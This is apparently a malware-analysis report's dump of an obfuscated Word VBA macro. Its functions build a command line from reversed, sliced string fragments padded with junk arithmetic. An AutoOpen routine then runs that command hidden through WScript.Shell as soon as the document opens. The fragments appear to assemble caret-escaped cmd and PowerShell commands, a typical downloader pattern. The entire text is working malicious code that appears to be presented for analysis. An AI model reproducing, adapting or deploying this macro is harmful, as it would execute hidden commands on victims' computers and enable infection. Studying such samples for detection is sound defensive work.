mOEwp = NUIEhN("vHlAhBQOAMDA3AQMAMGAxAAMAQGAkBgYAYGA0AANAEDA4AwNAIDA0SJt8%m", 7 + 0, 50 + 0)
      EqQnm = Hex(LJafM / Int(68948))
      sULdM = luQis / outQIX
      ppUPf = KMsbij + LiDio
      EIrzX = Hex(oPSkTX / Int(23606))
      rKhUD = Vjzcz / pVLTS
      HrLGof = Btzoal + lcAUZv
EvSEZQf = NUIEhN("pqFZ1mBANAkDA1AQMAYDAkBgMAIGA0AQNAcDAwAANAQDAmBwYAADA0AwMAIDAxAAZAcDAlBAOAYGA4AwMAMDAwAwMAMGAmBgYAIGAxAQZAQDAmBQMAADA0AwNAYGA2AgNAgDv", 2 + 0, 127 + 0)
      NzVJPz = Hex(lTDzR / Int(81497))
      UulWC = BNWvYq / XMUrt
      uuspz = fVQZw + JvURiP
      jsMqXA = Hex(sRAdsV / Int(25141))
      iLwqY = tzhPzi / XbpzE
      OCAMw = jCTuQ + OWRsCs
zFWDQ = NUIEhN(",tqkDAmBQYAQGAzAQNAQGAmBQZAkDA5AQOAUGAz31GqK", 7 + 0, 35 + 0)
      Yhpvfa = Hex(WjVpL / Int(57051))
      wwOiwz = ruZDQ / lIwiYw
      jpZHV = Ywzhij + mPYCKE
      rGMno = Hex(VhAFXP / Int(69254))
      WdlKL = psVQXF / VRJJWw
      ErfdCN = mXiMA + lASZEw
juLump = NUIEhN("78ddGObDAwAQOAQGAyAQYAUGAxAL", 2 + 0, 20 + 0)
      YwkvQi = Hex(AQqwAQ / Int(97893))
      izHHwV = VqEWL / VzjFZS
      FGjMT = FVjiL + vpVURw
      OLWcqQ = Hex(dPQJAH / Int(9572))
      YvAIN = oauKq / vRkJk
      NkmkuR = EJYVo + ztcOt
NdHajTomOu = NUIEhN("idLGA0AAOAADAhBgMAEGAhBgMAQDA0AwNAIDAiBAOAYGA5AAOAUDAlBwYAYDAhBgYAADA5AwYAUDAyAgNAADAzAgMP2Gv3", 6 + 0, 86 + 0)
      qbqakb = Hex(AzuMi / Int(12605))
      EtUQn = iHJvP / GDqXT
      rbtUX = CIcRC + wuOOD
fkYXmTAFPDsJ = CXiQZRdTOwqS + YMaswjS + sPSRmQQufJhWn + Chr(34) + LiVOJbbJmijjVK + MRhqzkSnAw + pSUnH + toXfvXB + CCWJX + tFNYsEAYLzl + MoraHLRzz + FIzICjQstVE + NdHajTomOu + BNFKZN + QBPJLaBzz + wzJVWavrNB + KmBthz + EUOtk + iGYGOAiqdJY + juLump + paYlu + pJjHlvLITU + bpoUBz + vdQHSm + MFYwJi + FSwGzMI + vznuUpoFMqT + mOEwp + WRsdFiEvd + hNrUNYjjwzz + KczDrFAwH + JrNusjhkVR + bRJrD + iJiDmuXHdAf + owhivKh + mERfP + JpJZKZqmj + YfjAfuZw + PZCzzjYHPHr + fvZujSwMGV + EvSEZQf + zFWDQ + IXbNjKbC + ZzzHuV + qQlcJt + kQHDokFuhC + itzHNQ + WwOVNC + TcnEoDC + zrdnN + XjTTFzw + MvHazzAVi + DoMMt + riRupKGcwo + BddjkQXEQF + wqWzVjhcRlp + DhDhOJjFaV
      fYRFz = Hex(Vqrzkw / Int(13115))
      zdJBdw = nOHaj / HkiTkN
      vUhiTv = odOZdU + nBWhsM
End Function

Attribute VB_Name = "fvfihIiKAhz"
Function sPSRmQQufJhWn()
On Error Resume Next
      YQQMz = Hex(PNXjEA / Int(79218))
      SzAqJA = UwjOW / vwlGua
      Qjojol = FtPSO + MHDdI
hNrUNYjjwzz = NUIEhN("U9.jAwzE% tes&&wQrE,Zm", 4 + 0, 13 + 0)
      YKDUjw = Hex(vTRmcJ / Int(49400))
      djJRBX = FbjOzF / osIwL
      mNPEk = qinGm + pYiXt
      AuYisW = Hex(ARNCtl / Int(94464))
      NTMKQa = TufiU / zZnqtU
      YunLS = QNwkMH + udWCP
FIzICjQstVE = NUIEhN("NPuI%% tes&&J%", 3 + 0, 7 + 0)
      Nhadz = Hex(CuDsZ / Int(23463))
      QoUSfB = iJFWKS / CEUCla
      HbzRoA = rMVWY + qdZKr
      kjKkT = Hex(RwPCH / Int(54293))
      LlFpwJ = PfSprD / fEHcF
      FPPmP = mnjMwT + aRRctG
MoraHLRzz = NUIEhN("VvBN%%Yf% tes&&pwq", 3 + 0, 9 + 0)
      ooERU = Hex(QDluHa / Int(2892))
      uwVTZ = WCfTV / IdjNb
      WDjQL = SVWjBp + WSifV
      XTCjk = Hex(wdrKf / Int(42698))
      LpDHai = KVXNqs / iaGbwz
      NwUPJ = tbPpSG + LhGMGo
DoMMt = NUIEhN("uXruUiZmlwwli.rXn93", 8 + 0, 10 + 0)
      MBwoq = Hex(fRClij / Int(43761))
      zrjrQ = zjGhvk / czTtVH
      JMBjZR = cYiGi + nOpXUp
      PUnhHA = Hex(lHcWp / Int(98874))
      NwwINj = wCVMp / TIwEDN
      ZzjHXE = DDKvr + WGYFG
MRhqzkSnAw = NUIEhN("WABYBGLDnWFUWSRRp", 5 + 0, 11 + 0)
      sPSSSV = Hex(KBdLX / Int(37543))
      SMPPrl = TMsra / YUNjr
      RUQGfO = FuOZsn + PwJqIN
      LoZdi = Hex(SJdGZ / Int(83470))
      wfGPT = mZZzG / dqvZIN
      PLwGid = pXFrJA + TwmYBw
MvHazzAVi = NUIEhN("oUP3ATsUVMWfQDjp% Rj", 3 + 0, 14 + 0)
      LplrS = Hex(AdWjVt / Int(80089))
      OAYcmr = OUinGF / rJBGO
      DVKPL = bMBVWQ + CFwNw
      itYLD = Hex(KZsjqZ / Int(59986))
      GWiOi = LAjXJl / mNVaH
      ENbLK = vGKsJa + rGsuM
MFYwJi = NUIEhN("3MuOjqNR% tes&&r^e=%A", 2 + 0, 15 + 0)
      ShvdM = Hex(CRVYM / Int(44956))
      jJaCi = UZjcB / WwFtJ
      SIGohJ = PLHXZi + UBruRD
      zCCpsC = Hex(wqwiV / Int(15303))
      cUjwmT = SWjFIY / FGtIK
      SwhKr = rZTsww + sRmQML
fvZujSwMGV = NUIEhN(",vqph=%HKSJiXmfRpFWd", 5 + 0, 12 + 0)
      GhfTj = Hex(dvtjFZ / Int(21303))
      afnWGJ = IwdlGR / nTqjzo
      lQOaH = vjknYn + SmztFB
      UXbPCd = Hex(itzVFj / Int(64580))
      DMouQj = vSRpE / XjzujU
      wkFGQ = cMwbav + DwiJQ
WRsdFiEvd = NUIEhN("Wj,vRrkurBl1", 6 + 0, 3 + 0)
      MSbIzN = Hex(uHJza / Int(47028))
      ilSGh = RDowqr / umaFqi
      HkVbHt = EVDzAB + fRdYbm
      mNlYjf = Hex(KHbqw / Int(46658))
      OhlRz = Fctwt / vbFcY
      zjFPqs = iUYPSO + hbKzL
owhivKh = NUIEhN("DvadmZBrUKMudn%!=%bq", 3 + 0, 14 + 0)
      YIoKUm = Hex(HjrFfD / Int(28503))
      rHzqs = RojMak / rURFQ
      DpsvvE = UzcTk + zYqTL
      qONDk = Hex(PhKsGX / Int(93611))
      KswaJf = NpdRl / pWjREf
      WcuDlN = HzCOM + dEVWc
DhDhOJjFaV = NUIEhN("JOMSaJdWXlGNzwLjf", 6 + 0, 10 + 0)
      cGcYk = Hex(zjaLia / Int(4039))
      WNhwvp = HzQmPF / OkBJo
      DTuDKS = iwwScM + zPXWb
      wUwFZ = Hex(TvjQp / Int(42643))
      SpXsq = fGMFlZ / LhjIm
      KoQHUp = UJkCTf + kSWazH
XjTTFzw = NUIEhN("Vsrnw !%KLO1PLq", 5 + 0, 6 + 0)
      VJmPL = Hex(WqlLbi / Int(3184))
      SCiCC = SWWKl / pSsLJ
      fTpfd = JJSiXY + piZSQn
      GBcYG = Hex(MUjaHN / Int(13140))
      qCHha = KLvEKR / YkUVpd
      HzMUaw = jlbJm + OosPt
wzJVWavrNB = NUIEhN("sI7RPGCcBhuEY% tes8XUKoL", 7 + 0, 15 + 0)
      fLvFX = Hex(oBojP / Int(11085))
      kJvrp = HbjaZU / XAPjsE
      bzlLtp = mzYzW + sCISz
      RWRoSq = Hex(zEHPl / Int(74141))
      XiFrXW = sDXzGd / AbPoL
      iurDr = iaSoZi + BRYii
KczDrFAwH = NUIEhN("ZvrUKMudn% tes&&jimO%bFb", 7 + 0, 16 + 0)
      SzYTu = Hex(MMGzcr / Int(50746))
      WCdmB = vsMaOw / qckct
      StQFaz = fPXbp + wItznl
      nuLBTj = Hex(cIjKZK / Int(90376))
      vzOcu = FdkWbY / nbPKNE
      AwsmU = JmhNiO + FFRzAu
zrdnN = NUIEhN("%3% tes&&!%JsDPTM9EzA", 7 + 0, 13 + 0)
      hQairI = Hex(phRAMG / Int(74195))
      zEbIN = TvXoM / dhJPKS
      akXOu = kUFQN + IwoIN
      XIRAR = Hex(SQDLr / Int(63603))
      lswEh = aCWhOK / aBqOmi
      GASql = dDassc + YIidZ
pJjHlvLITU = NUIEhN("BpobYbJ% tes&&s=%QjDlM%", 4 + 0, 16 + 0)
      sCGAbD = Hex(qfRZoZ / Int(24080))
      KlaGSs = Wcipl / BSWNpp
      Czzqmw = wlADSQ + OWDXHE
      kbtoW = Hex(fhiLzl / Int(92948))
      ocRjpX = HVPQnk / PObpE
      aqBOZ = RQTFcl + YiaYc
QBPJLaBzz = NUIEhN("Vzu,=%KLOvMTjt% tes&&e,qAS8", 6 + 0, 18 + 0)
      cXdGdX = Hex(CISUkK / Int(64506))
      zzaDGM = inPnf / Mroqw
      crzkXr = aIwzVS + nYhzV
      MrBFO = Hex(JNdjR / Int(81501))
      LWhhzG = Njmjlj / aUzLb
      cwOoTp = nGlFjQ + zmGRmo
paYlu = NUIEhN("XEjFL6%!!%ATsUVMWfQDj3", 2 + 0, 15 + 0)
      HcEST = Hex(GitiVq / Int(82250))
      PIsOK = HGzjz / kOoOh
      naVTJ = zHcEN + ktZhi
      YGNVO = Hex(JsLfHP / Int(74817))
      ujLqZ = wNzJow / abEsr
      DPfQU = iNVwJU + PhQCSc
BddjkQXEQF = NUIEhN("8UojozOirtT=mmuo", 5 + 0, 9 + 0)
      iKLHE = Hex(PjjRGn / Int(30752))
      jzOQr = vlaQp / qjjJYl
      SbtEY = nKwdD + VEsfjC
      GFawEN = Hex(WdkOG / Int(90896))
      nwIpw = JTGBvl / KdwNI
      dcRji = wMbAGO + WDXYzK
tFNYsEAYLzl = NUIEhN("nuLAvMTjt%!!%Zj", 3 + 0, 9 + 0)
      sZmzZC = Hex(KwtiX / Int(12705))
      SbVQZF = iiTAnz / znEwD
      PDpSH = SnQhVi + wEcBI
      iHHIC = Hex(qThoz / Int(84466))
      SBUBnP = VojBiu / inaOLR
      orjMiz = ZGjuP + YjiOwX
BNFKZN = NUIEhN("owdVmlu", 3 + 0, 1 + 0)
      DuYGaI = Hex(MjGZl / Int(51063))
      dJloIP = vhzGS / JzFMR
      jquTdm = cztAJ + oAvXw
      SXqkb = Hex(kjDDtT / Int(28055))
      JbdDMZ = ZQtww / uSoJl
      CiwAU = tTtrv + zsAHAk
pSUnH = NUIEhN("Zmp51GGBYBGLDnWFUWXF%!&&llw", 2 + 0, 19 + 0)
      iGSsGw = Hex(cRqQPt / Int(16094))
      MuLbJ = TGJiUz / GXmSDL
      DjqrD = bcddbC + ojFwZb
      iTIDA = Hex(zjiVQN / Int(83131))
      mOjzbl = UIGMa / wNcBcN
      XGPTcO = EzaMz + IjDYF
itzHNQ = NUIEhN("wVGGoRM9T=%SwjuIW", 2 + 0, 8 + 0)
      cuJLCr = Hex(JwSBTn / Int(450))
      DfzMU = QRXhu / MYPJE
      ikpOvN = BFWlvH + zHEDE
      fnfmF = Hex(cqGdO / Int(10528))
      lSvQEP = NUfiD / avZBs
      BAonlq = uhNfo + LfRkPw
riRupKGcwo = NUIEhN("nNsHKSJiXmfRzE%!!Nqp", 4 + 0, 14 + 0)
      nuEKHB = Hex(pcjREk / Int(52319))
      rzfKa = UlAprj / kILKDG
      GwdjkH = SAvaE + HoUFE
      BADEQ = Hex(LYcBlz / Int(51680))
      hPZtB = RNISQn / IvKqq
      XEcMT = SRccIu + awkfZ
KmBthz = NUIEhN("M3v8W,%QjDhzc@", 2 + 0, 7 + 0)
      Jwpnr = Hex(ocmDcR / Int(20778))
      cDVFDF = jUpkA / AMGXQ
      hhahQk = fGfOzK + znWafc
      OCXEwi = Hex(bpKjnW / Int(73820))
      bYkEZS = BuNNY / hLijmL
      UwFjGA = lpHltJ + cQGWo
TcnEoDC = NUIEhN("FG6GWWXF% tes&X", 2 + 0, 8 + 0)
      wBdqi = Hex(Jtdfw / Int(871))
      EPcTE = YTiLmb / PGEvX
      zwiTV = zvqEI + KliEH
      OHTcG = Hex(BuzvA / Int(3931))
      TcoKF = SATPq / YIQjf
      NfOEas = lZVnh + mMTHH
JpJZKZqmj = NUIEhN("sLRR3=%bRrkmZB1qm", 4 + 0, 9 + 0)
      ZiOcU = Hex(scMiNk / Int(20299))
      FmWsO = wuTzz / lMDDF
      JTFKz = uJiPD + LkdOw
      vCwLFQ = Hex(vppCwX / Int(27027))
      sBUTNk = KDNNn / Actnw
      GKZRi = vuGkQ + PBcCzk
WwOVNC = NUIEhN("zMFbNSmXYk,lu", 4 + 0, 4 + 0)
      dDrrs = Hex(scVuMv / Int(28526))
      LHhSj = wRqwam / zmswfJ
      SIPTjU = razuoC + DtvjNw
      zFtnq = Hex(NPtrRR / Int(37321))
      hmbiX = EwDRW / bYTuiT
      qEsbjz = InGGOP + URofnp
vdQHSm = NUIEhN("bv7U%pFUCKF", 3 + 0, 5 + 0)
      DDCcR = Hex(HowzMz / Int(62782))
      CoKuka = RpwCHE / GiOqi
      nBpzPG = TqHtRi + RcdkD
      aIzqBK = Hex(lrJaAj / Int(46555))
      oopHj = SVciIQ / zzpCOj
      RcpJVY = uqkCh + VNtzGi
CCWJX = NUIEhN("K%ivz.Jclu", 6 + 0, 3 + 0)
      HnWItu = Hex(osUXmC / Int(86535))
      MwjlIj = irjbh / jGrvf
      XdFhQb = NBWMQi + ZBvRUa
      izjKQ = Hex(NNGPuH / Int(76465))
      mnjXQ = YZUZt / tkmorj
      ElKOT = NnfGkG + hwpiu
iGYGOAiqdJY = NUIEhN("oOMimCZ% GWRrl", 6 + 0, 7 + 0)
      kzfIcG = Hex(lDdbS / Int(46024))
      BimbZ = kDQtT / TowwuD
      LwGZdi = CAKKD + MvDwKO
      WVDvj = Hex(qiKRW / Int(79114))
      JlLAnG = vqiUGk / iZAAG
      lSfQwo = zzlswZ + hirda
EUOtk = NUIEhN("WqRpBjqzaL6Ru87", 7 + 0, 6 + 0)
      Rafqjp = Hex(DHFKQP / Int(2607))
      qGuEzV = zElVjX / ziWZSW
      nohHo = psbbiY + qcwZb
      zwVIjr = Hex(BOSILC / Int(38190))
      VoJPps = ozwjuq / wkzcpd
      JnnFU = mFLZj + MbGra
bpoUBz = NUIEhN("wIqcobVtes&&!%bp", 2 + 0, 8 + 0)
      ADJYMz = Hex(jMQhKj / Int(23821))
      OMAVJU = JjmWA / iNssW
      pZJkbo = kNWXA + XhzPFV
      qpcZp = Hex(XoJGip / Int(44602))
      aTwcSv = NMQdC / jULsvz
      mQlbTs = krfjs + mJDiL
YfjAfuZw = NUIEhN("wVup%!!2U1fG.", 7 + 0, 4 + 0)
      WzddM = Hex(nurTwO / Int(74132))
      osKhWJ = hVVhhl / zXRjjV
      jImZff = WQsQzB + twVHCz
      pDhDz = Hex(tzjIFA / Int(15910))
      WLzviG = IjfmH / btzuY
      Wkbwra = BwWlz + VVMVOa
FSwGzMI = NUIEhN("juuUsXchHJZXO,", 6 + 0, 7 + 0)
      WBhWB = Hex(rMRDk / Int(25701))
      GluvMH = YEIlv / smDPYk
      HWUCE = ajzjum + QnjaQ
      KiokOl = Hex(HmozMr / Int(53534))
      ktZXD = wIzLYd / bIizQA
      ZdwKGt = fIfjM + URnds
vznuUpoFMqT = NUIEhN(",NNpAfhzcivz2j", 3 + 0, 6 + 0)
      kMWrY = Hex(HAfdKA / Int(91908))
      vbHuOQ = jTzSb / FLKVA
      zQUCl = VwtiBw + nVcsKs
      rAVKk = Hex(LCzwa / Int(97160))
      ERVuF = KbTGW / rMSWji
      bjhUn = VCJiLp + WJbFtO
iJiDmuXHdAf = NUIEhN("uVw3.Ff%IzCnIpBjqzaqNR%!!%%", 2 + 0, 19 + 0)
      zhjXu = Hex(asMtfR / Int(33940))
      WfXwh = jwBtH / XNilM
      RUCuzJ = oIcpPD + XaAdEJ
      UYfHo = Hex(DoSSto / Int(13344))
      PzOZIU = qNjuM / DSJXj
      iVOmt = AqJjRk + wCPjX
IXbNjKbC = NUIEhN("7w,Sw^o=%JsDPFATXFRO", 5 + 0, 12 + 0)
      MtEiLw = Hex(bXAWJ / Int(90842))
      dcWAN = uHiFG / ziOTni
      tWRaqD = hDdpnZ + ZiWjO
      VJbMJc = Hex(AFMSiF / Int(76960))
      YmIMVP = cucwXZ / JpZOb
      NsoHX = tUNOLk + AwdiNS
JrNusjhkVR = NUIEhN("79tes&&zuTknuw=%nbVOF", 6 + 0, 14 + 0)
      djhjKE = Hex(iwXsQ / Int(58397))
      PjwBp = WYOfRO / ZZfLLv
      mjLFwS = OXqVv + KkQfd
      DTozt = Hex(UvjFoO / Int(25613))
      lPsbU = rMRmM / AuZjTf
      jUhQzL = XAEfH + DUIkwd
qQlcJt = NUIEhN("AV%Mp4wjadhXrzfi", 3 + 0, 8 + 0)
      uOrCB = Hex(DtZWzm / Int(16311))
      joDztQ = trHli / mfmpnp
      oSdfOM = GziFt + CXjElD
      KscSU = Hex(QJvJQG / Int(56749))
      DNWih = OoBZnf / UQbpI
      GUHtmz = uWdhP + kCZOwA
toXfvXB = NUIEhN("vSvFATmXYkf%!=%IzCnIUbv,2", 6 + 0, 17 + 0)
      iBWrC = Hex(ojvtUT / Int(14730))
      XhwUk = NqrLTK / uCvCco
      HEwQrG = nwdJN + jNVdu
      liMFQu = Hex(jXQmmu / Int(39087))
      dTtPAi = JlCMOC / XucXrL
      YuTFTa = ZsaCOs + swfWQJ
PZCzzjYHPHr = NUIEhN("1jVdrtRJ&lYLFzUDX=%wclBcAjF", 2 + 0, 18 + 0)
      aCDjZ = Hex(AWJODI / Int(6291))
      YaKhE = jtbJAJ / ivzAbC
      zsPYt = rCiLzF + tTYVpL
sPSRmQQufJhWn = wzJVWavrNB + itzHNQ + DoMMt + KczDrFAwH + JpJZKZqmj + MoraHLRzz + WwOVNC + IXbNjKbC + FIzICjQstVE + BNFKZN + FSwGzMI + PZCzzjYHPHr + TcnEoDC + MRhqzkSnAw + owhivKh + WRsdFiEvd + bpoUBz + iGYGOAiqdJY + DhDhOJjFaV + JrNusjhkVR + MvHazzAVi + MFYwJi + EUOtk + toXfvXB + zrdnN + vznuUpoFMqT + pJjHlvLITU + qQlcJt + vdQHSm + BddjkQXEQF + hNrUNYjjwzz + fvZujSwMGV + QBPJLaBzz + pSUnH + iJiDmuXHdAf + YfjAfuZw + paYlu + CCWJX + KmBthz + riRupKGcwo + tFNYsEAYLzl + XjTTFzw
      lhatj = Hex(CVaMO / Int(53281))
      lHjKl = YsjKPK / UzLXcK
      dhQRV = iiVcWz + zElmN
End Function

Attribute VB_Name = "FTiMlsBHE"
Function CXiQZRdTOwqS()
On Error Resume Next
      dRlLRn = Hex(PwmSwP / Int(76476))
      ndOKvp = lLjULi / vkjFW
      ZntPi = CawEH + LaMzz
mjQJBfFH = NUIEhN("6m2qbVm^p^S^m^o^C^%2", 2 + 0, 12 + 0)
      bzrfa = Hex(wbVuAB / Int(65796))
      sPYAkw = mnKpGY / zEIwna
      XjuNNT = nHZuW + iwCLO
      uPKrcL = Hex(NUIJr / Int(57563))
      pVhwj = HJIpH / fzIAa
      czddI = OUhjP + WjlPhD
LWwkzAdGTmB = NUIEhN("wWm^o^CW.u,,", 6 + 0, 5 + 0)
      bchSlG = Hex(kUfPE / Int(39772))
      HOjvLM = kLVYt / TaWPS
      SzZvf = WnktpR + uGOSFU
      CwzlPF = Hex(ZJNfQz / Int(16830))
      PbmIJ = ZNGStq / FOoOZc
      DwWjmj = rUokn + RJIdtw
JjXGV = NUIEhN("q68GvJ      V/RHs", 4 + 0, 8 + 0)
      diqTV = Hex(uTvYQ / Int(82292))
      UGTFC = aOhtR / GziwFK
      daKUF = NWpFw + YtSYLq
      vHhjp = Hex(LbiPQH / Int(31458))
      tczwb = KDmBU / KdPRD
      aSSSvS = baBjcO + KkDopi
FiAliDCIu = NUIEhN("RMlZSERTwtRvWmXu8X", 5 + 0, 9 + 0)
      kvsUf = Hex(RkiMN / Int(23761))
      jwqahj = AvJWJn / NZaacU
      qWazP = jrspT + fJLuc
      qtLqc = Hex(PUUwB / Int(33925))
      wdnVi = SkUnz / AamQTh
      tSJvTa = QCwzmP + fLndkt
oqZRLdchU = NUIEhN("X6NmE     & cmIEECjhQz TblX", 2 + 0, 21 + 0)
      YbVGL = Hex(ctdDA / Int(32041))
      YiphU = AAPlWB / rUOwmj
      FUqnpH = FXZuz + rLzWG
      jvMtmS = Hex(RXijo / Int(93256))
      rAPKvw = GIpHL / ONIEOK
      KYmfn = RSOHG + kwBrww
DSqIsiXXcIW = NUIEhN("G6vK^%     %^c^Ej68sI", 6 + 0, 12 + 0)
      wjcmXm = Hex(dKEOZS / Int(56695))
      cTNkXi = usAiYa / NWMGcN
      ilPtL = HOzhoG + UhdLbH
      vFubXw = Hex(MjOGFS / Int(12144))
      hiuosr = YfXLdQ / HQZbK
      MzUtPl = UbNMiq + pdFBX
zrHkOvzVu = NUIEhN("w9, wNAkz", 6 + 0, 1 + 0)
      zhODL = Hex(PDYwj / Int(58558))
      KUhOB = GPazS / dmPUi
      YDDvi = RhuWYv + hibfjH
      YUROA = Hex(iMViqt / Int(2529))
      VzGLcd = ISmFUW / NUfZu
      tPjSz = mwuCk + UhMOh
qYARsqIuno = NUIEhN("9B4     c/  joJS", 5 + 0, 9 + 0)
      OSdPCi = Hex(fHXwB / Int(96671))
      zwEFQ = LNrfOP / iAouz
      zKbbdN = JUIOA + ETYXdH
      QrdqE = Hex(JbIYT / Int(63088))
      LCLwz = TmfwEL / OiKDwt
      ajHop = YGaAR + nRmTjC
HicQYl = NUIEhN("L1     %^c^E^p^S^rmiNz6j", 8 + 0, 15 + 0)
      KcPkv = Hex(fSHiQ / Int(8492))
      aPbfvW = ZHNMf / bYUbLd
      ajpLv = PKFQb + woCXq
      zIsoq = Hex(MFiiqD / Int(26311))
      EvBRE = TzGTW / woYdEt
      AzSfz = HOHwW + VLEOQd
ndWEOaLZGGi = NUIEhN("L8%6aLW      F", 2 + 0, 6 + 0)
      uSrCB = Hex(RwwXj / Int(2470))
      wnNEmP = GwpMz / mAjsaH
      DzzIvQ = hNLqa + vkizzb
      qEwdF = Hex(HPOaqB / Int(85001))
      SHnri = YiSMwt / SMqXPa
      BCFjXJ = MWXsJG + KGJdu
lKCcjvuMl = NUIEhN("%w6uN0RBKPAAmERbfakY", 2 + 0, 12 + 0)
      zIlkh = Hex(BpCXD / Int(52312))
      HNQCDT = BLLuT / mfHGht
      EnsQU = LHDJw + Rizqu
      tUfboE = Hex(qrHTT / Int(61029))
      fuLRM = oQAEC / ujDZN
      TsKiYv = izYAdN + OpvMb
fAPFai = NUIEhN("%tG AHzRiQwNTBzUiS dm7bjO", 5 + 0, 19 + 0)
      LRpdT = Hex(ZVJhnR / Int(89083))
      znOzW = UiJQQ / rBEFn
      zMlCDj = wWbUS + ijqBba
CXiQZRdTOwqS = fAPFai + FiAliDCIu + lKCcjvuMl + oqZRLdchU + mjQJBfFH + DSqIsiXXcIW + LWwkzAdGTmB + HicQYl + JjXGV + zrHkOvzVu + qYARsqIuno + ndWEOaLZGGi
      qLfdHZ = Hex(wiXQD / Int(87976))
      Uhlzji = XttNri / nBAcfp
      mjIud = RPwKR + pOBFE
End Function
Function NUIEhN(ByVal FXWUFWnDLGBYB As String, tjTMvOLK, EzRfmXiJSKH)
On Error Resume Next
      WzCkb = Hex(UiZsLC / Int(15192))
      qzKDI = JchBGu / wuHiB
      VZjfzh = pSIED + LdVmh
      zXAuRB = Hex(hLYnSJ / Int(19526))
      mjKTNW = rrUdz / itaHZ
      CEUfOi = zpQip + tcZwLT
mpXFmzbvLhBqF = crfJZoDb + StrReverse(FXWUFWnDLGBYB) + RwfsZHWSBvouWS
      MihEaJ = Hex(PoFHKY / Int(20223))
      aaszX = wzWlG / vPiZF
      EwvGz = qUirm + zwIwV
RNqazqjBpInCzI = CXuIOhL + Mid(mpXFmzbvLhBqF, tjTMvOLK, EzRfmXiJSKH) + UCBAJjBl
      NJTbr = Hex(CjGKD / Int(76601))
      wztQX = iviOvj / oTiiGQ
      iumCn = OrYHX + fMEBG
NUIEhN = JSGYfvYvKUjBY + RNqazqjBpInCzI + mbdDM
      cMUmWa = Hex(nAUjSb / Int(78938))
      wFFOri = ztIXiT / DiAoP
      zzUBF = kuqlR + jGoVX
End Function

Attribute VB_Name = "VNkMbdzrXSwli"
Sub AutoOpen()
On Error Resume Next
      MYzAlE = Hex(mtzJH / Int(84091))
      zNjhKL = CjkWq / NjSzF
      nNLGn = TfiTmD + mCsKm
      aXKJs = Hex(ivCwG / Int(52641))
      DFDjo = szrfk / thCEzU
      jjiid = SrJpQ + csmzOi
Application.Run "pjDQfWMVUsTA", fkYXmTAFPDsJ
      EDtRi = Hex(Zbwhbq / Int(5815))
      jvRZaa = VPjIbv / pHioW
      QSmRwm = cUKiw + HtzVZ
End Sub
Sub pjDQfWMVUsTA(zviczhDjQ As String)
On Error Resume Next
      HmioJI = Hex(wRlqw / Int(74198))
      VLQIz = oWDBFB / NoOsm
      DGmrlCwE = "WScript.Shell"
      BOvhi = Joqlqd + vdrwc
      Wwzlih = Hex(HwuIDs / Int(9036))
      lGadmi = ozkMYt / jVrlE
      LCdMA = VKuiiw + VKXRT
CreateObject(DGmrlCwE).Run JfIBAWIpBRYRR + Chr(VBA.vbKeyC) + zviczhDjQ + oijcOcrJfuPC + zYvJEXv, vbHide
      kDAdqr = Hex(TsVRQ / Int(18943))
      rauCrw = ANlzH / RFIUt
      uEaiz = knpnZ + lEPjVP
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.